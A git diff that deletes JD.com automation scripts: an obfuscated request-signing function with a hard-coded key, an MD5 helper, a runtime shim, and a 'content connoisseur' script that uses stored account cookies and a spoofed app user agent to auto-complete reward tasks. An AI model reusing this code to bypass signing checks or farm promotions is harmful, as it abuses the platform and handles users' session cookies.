- return _0x411582 == _0x32e553; - }, - 'VoKLi': function(_0x1e1ab6, _0xc55723) { - return _0x1e1ab6 == _0xc55723; - }, - 'hodih': function(_0xa982a7, _0x531bdc) { - return _0xa982a7(_0x531bdc); - }, - 'dCNAc': function(_0x17dede, _0x2a2f62) { - return _0x17dede !== _0x2a2f62; - }, - 'TjWBq': 'ZBooW', - 'BEnKe': function(_0x390681, _0x2994f8) { - return _0x390681 + _0x2994f8; - }, - 'LBePY': function(_0x74c611, _0x49f5f4) { - return _0x74c611 + _0x49f5f4; - }, - 'llNkp': function(_0x302fe3, _0x5de6de) { - return _0x302fe3 + _0x5de6de; - } - }; - var _0x1f1f5c = '', - _0x110178 = _0xdee559['split']('?')[0x1] || ''; - if (_0xc44a8f) { - if (_0x4488a6['iRXRX'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['VxfTG'](_0xc44a8f, _0x110178); - else if (_0x4488a6['VoKLi'](_0x4488a6['ANdMj'], _0x4488a6['hodih'](x, _0xc44a8f))) { - if (_0x4488a6['dCNAc'](_0x4488a6['TjWBq'], _0x4488a6['TjWBq'])) { - if (_0x4488a6['CNgba'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['jqqVS'](_0xc44a8f, _0x110178); - else if (_0x4488a6['CAfDO'](_0x4488a6['ANdMj'], _0x4488a6['zEtiI'](x, _0xc44a8f))) { - var _0x3ff3f9 = []; - for (var _0x3a1019 in _0xc44a8f) _0x3ff3f9['push'](_0x4488a6['jqqVS'](_0x4488a6['pujRC'](_0x3a1019, '='), _0xc44a8f[_0x3a1019])); - _0x1f1f5c = _0x3ff3f9['length'] ? _0x4488a6['VxfTG'](_0x3ff3f9['join']('&'), _0x110178) : _0x110178; - } - } else { - var _0x407463 = []; - for (var _0x3f044c in _0xc44a8f) _0x407463['push'](_0x4488a6['BEnKe'](_0x4488a6['LBePY'](_0x3f044c, '='), _0xc44a8f[_0x3f044c])); - _0x1f1f5c = _0x407463['length'] ? _0x4488a6['LBePY'](_0x407463['join']('&'), _0x110178) : _0x110178; - } - } - } else _0x1f1f5c = _0x110178; - if (_0x1f1f5c) { - var _0xed2a35 = _0x1f1f5c['split']('&')['sort']()['join'](''); - return $['md5'](_0x4488a6['llNkp'](_0xed2a35, _0x429a90)); - return _0x4488a6['llNkp'](_0xed2a35, _0x429a90); - } - return $['md5'](_0x429a90); - return _0x429a90; -} - -function x(_0x543ed7) { - var _0x59f6a8 = { - 'mwjbO': function(_0x1d95c8, _0x185b22) { - return _0x1d95c8 === _0x185b22; - }, - 'qdkKz': 'function', - 'VPiUV': function(_0x44e857, _0x30eba3) { - return _0x44e857 === _0x30eba3; - }, - 'YVTeQ': function(_0x14d902, _0x3e6382) { - return _0x14d902 !== _0x3e6382; - }, - 'chONS': 'symbol', - 'HuNNH': function(_0x49e6ac, _0x3b178a) { - return _0x49e6ac === _0x3b178a; - }, - 'CYwxT': function(_0x3acb6a, _0x86b540) { - return _0x3acb6a === _0x86b540; - }, - 'EgeQW': function(_0x3eb366, _0x504ccf) { - return _0x3eb366(_0x504ccf); - } - }; - return x = _0x59f6a8['HuNNH'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['CYwxT'](_0x59f6a8['chONS'], typeof Symbol['iterator']) ? function(_0x543ed7) { - return typeof _0x543ed7; - } : function(_0x543ed7) { - return _0x543ed7 && _0x59f6a8['mwjbO'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['VPiUV'](_0x543ed7['constructor'], Symbol) && _0x59f6a8['YVTeQ'](_0x543ed7, Symbol['prototype']) ? _0x59f6a8['chONS'] : typeof _0x543ed7; - }, _0x59f6a8['EgeQW'](x, _0x543ed7); -} - -function getSign(_0x275690, _0x3d87d0) { - var _0x574204 = { - 'HwKtx': '07035cabb84lm694', - 'esyRZ': function(_0x3b0b1b, _0x1b2926) { - return _0x3b0b1b + _0x1b2926; - }, - 'FyOHq': function(_0x37ac02, _0x313227, _0xc09a5c, _0x49ff18) { - return _0x37ac02(_0x313227, _0xc09a5c, _0x49ff18); - } - }; - let _0x3df4f3 = new Date()['getTime'](); - _0x3d87d0['t'] = _0x3df4f3; - var _0x25b268 = _0x574204['HwKtx']; - var _0x3c4a45 = _0x3df4f3, - _0x553e06 = _0x574204['esyRZ'](_0x25b268, _0x3c4a45); - let _0x70c008 = { - 'sign': _0x574204['FyOHq'](M, _0x3d87d0, _0x553e06, _0x275690), - 'timestamp': _0x3c4a45 - }; - return _0x70c008; -}; -_0xod9 = 'jsjiami.com.v6' - -function MD5(){ - // MD5 - !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -} - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_connoisseur.js b/jd_connoisseur.js deleted file mode 100644 index 020a127e6..000000000 --- a/jd_connoisseur.js +++ /dev/null @@ -1,737 +0,0 @@ -/* -内容鉴赏官 -更新时间:2021-09-09 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#内容鉴赏官 -15 3,6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, tag=内容鉴赏官, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "15 3,6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js,tag=内容鉴赏官 - -===============Surge================= -内容鉴赏官 = type=cron,cronexp="15 3,6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js - -============小火箭========= -内容鉴赏官 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, cronexpr="15 3,6 * * *", timeout=3600, enable=true - */ -const $ = new Env('内容鉴赏官'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let isLoginInfo = {} -$.shareCodes = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/'; -let agid = [], pageId, encodeActivityId, paginationFlrs, activityId -let allMessage = ''; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - // let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/connoisseur.json') - // if (!res) { - // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/connoisseur.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); - // await $.wait(1000) - // res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/connoisseur.json') - // } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdConnoisseur() - } - } - // $.shareCodes = [...new Set([...$.shareCodes, ...(res || [])])] - // for (let i = 0; i < cookiesArr.length; i++) { - // if (cookiesArr[i]) { - // cookie = cookiesArr[i]; - // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - // if (!isLoginInfo[$.UserName]) continue - // $.canHelp = true - // if ($.shareCodes && $.shareCodes.length) { - // console.log(`\n开始互助\n`) - // for (let j = 0; j < $.shareCodes.length && $.canHelp; j++) { - // console.log(`账号${$.UserName} 去助力 ${$.shareCodes[j].use} 的助力码 ${$.shareCodes[j].code}`) - // if ($.UserName === $.shareCodes[j].use) { - // console.log(`助力失败:不能助力自己`) - // continue - // } - // $.delcode = false - // await getTaskInfo("2", $.projectCode, $.taskCode, "2", $.shareCodes[j].code) - // await $.wait(2000) - // if ($.delcode) { - // $.shareCodes.splice(j, 1) - // j-- - // continue - // } - // } - // } else { - // break - // } - // } - // } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdConnoisseur() { - await getActiveInfo() - await $.wait(2000) - await getshareCode() -} - -async function getActiveInfo(url = 'https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html') { - let options = { - url, - headers: { - "Host": "prodev.m.jd.com", - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - return new Promise(async resolve => { - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} getActiveInfo API请求失败,请检查网路重试`) - } else { - if (data) { - data = data && data.match(/window\.performance.mark\(e\)}}\((.*)\);<\/script>/)[1] - data = JSON.parse(data) - pageId = data.activityInfo.pageId - encodeActivityId = data.activityInfo.encodeActivityId - paginationFlrs = data.paginationFlrs - activityId = data.activityInfo.activityId - for (let key of Object.keys(data.codeFloors)) { - let vo = data.codeFloors[key] - if (vo.boardParams && vo.boardParams.taskCode === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { - agid = [] - agid.push(vo.materialParams.advIdVideo[0].advGrpId) - console.log(`去做【${vo.boardParams.titleText}】`) - await getTaskInfo("11", vo.boardParams.projectCode, vo.boardParams.taskCode) - } else if (vo.boardParams && vo.boardParams.taskCode === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { - agid = [] - agid.push(vo.materialParams.advIdKOC[0].advGrpId) - console.log(`去做【${vo.boardParams.titleText}】`) - await getTaskInfo("10", vo.boardParams.projectCode, vo.boardParams.taskCode) - } else if (vo.boardParams && vo.boardParams.taskCode === "2PbAu1BAT79RxrM5V7c2VAPUQDSd") { - agid = [] - agid.push(vo.materialParams.advIdKOC[0].advGrpId) - agid.push(vo.materialParams.advIdVideo[0].advGrpId) - console.log(`去做【${vo.boardParams.btnText}】`) - await getTaskInfo("5", vo.boardParams.projectCode, vo.boardParams.taskCode) - await $.wait(2000) - } else if (vo.boardParams && (vo.boardParams.taskCode === "485y3NEBCKGJg6L4brNg6PHhuM9d" || vo.boardParams.taskCode === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU")) { - console.log(`去做【${vo.boardParams.titleText}】`) - await getTaskInfo("9", vo.boardParams.projectCode, vo.boardParams.taskCode) - await $.wait(2000) - } else if (vo.boardParams && (vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || vo.boardParams.taskCode === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa")) { - await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) - await $.wait(2000) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function getTaskInfo(type, projectId, assignmentId, helpType = '1', itemId = '') { - let body = {"type":type,"projectId":projectId,"assignmentId":assignmentId,"doneHide":false} - if (assignmentId === $.taskCode) body['itemId'] = itemId, body['helpType'] = helpType - if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") body['agid'] = agid - return new Promise(async resolve => { - $.post(taskUrl('interactive_info', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getTaskInfo API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { - if (data.code === "0" && data.data) { - if (data.data[0]) { - if (data.data[0].status !== "2") { - let num = 0; - for (let i = data.data[0].viewedNum; i < data.data[0].viewNum; i++) { - let vo = data.data[0].videoDtoPageResult.list[num] - await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 1) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - num++ - } - num = 0; - for (let i = data.data[0].evaluatedNum; i < data.data[0].evaluateNum; i++) { - let vo = data.data[0].videoDtoPageResult.list[num] - await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 2) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - num++ - } - await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) - } else { - console.log(`任务已完成`) - } - } else { - console.log(`无当前任务`) - } - } else { - console.log(data.message) - } - } else if (assignmentId === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { - if (data.code === "0" && data.data) { - if (data.data[0]) { - if (data.data[0].status !== "2") { - let res = await aha_card_list(type, data.data[0].projectId, data.data[0].assignmentId) - let num = 0; - for (let i = data.data[0].watchAlreadyCount; i < data.data[0].watchTotalCount; i++) { - let vo = res.data.cardList[num] - await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 1) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - num++ - } - num = 0; - for (let i = data.data[0].likeAlreadyCount; i < data.data[0].likeTotalCount; i++) { - let vo = res.data.cardList[num] - await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 2) - await $.wait((data.data[0].waitDuration * 1000) || 2000) - num++ - } - await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) - } else { - console.log(`任务已完成`) - } - } else { 